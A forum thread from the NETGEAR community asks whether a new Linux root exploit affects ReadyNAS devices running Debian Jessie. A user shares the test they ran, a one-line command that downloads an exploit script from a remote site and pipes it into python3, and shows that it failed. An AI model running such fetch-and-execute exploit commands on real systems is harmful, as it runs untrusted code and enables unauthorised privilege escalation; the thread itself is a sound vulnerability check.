NETGEAR is aware of a growing number of phone and online scams. To learn how to stay safe click here.
Forum Discussion
New Linux Exploit back to 2017
Does this effect the version of Jessie we are using in Readynas? https://www.msn.com/en-us/technology/software/linux-exploit-instantly-grants-administrator-access-on-most-distributions-since-20...
Does this effect the version of Jessie we are using in Readynas?
The test in the article gives this result:
admin@NAS:/data/Test$ curl https://copy.fail/exp | python3 && su
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 731 0 731 0 0 5801 0 --:--:-- --:--:-- --:--:-- 5801
Traceback (most recent call last):
File "<stdin>", line 9, in <module>
File "<stdin>", line 5, in c
OSError: getsockaddrarg: bad family
admin@NAS:/data/Test$ id
uid=98(admin) gid=98(admin) groups=98(admin),27(sudo),42(shadow)
So it appears not. FWIW Jessie is older than 2017.
I did have to make create a soft link for su in order to run this test (as the NAS puts in /bin, and the python script expects it in /usr/bin). And of course install python3. (version 3.4.2)
It's possible that the test requires a newer version of python3 though.
the 8.1 update of Jessie came in 2018...so its borderline case...just checking...
anyway I will have a look at that test you tried....I didn't see that...
NETGEAR Academy
Boost your skills with the Netgear Academy - Get trained, certified and stay ahead with the latest Netgear technology!
Join Us!
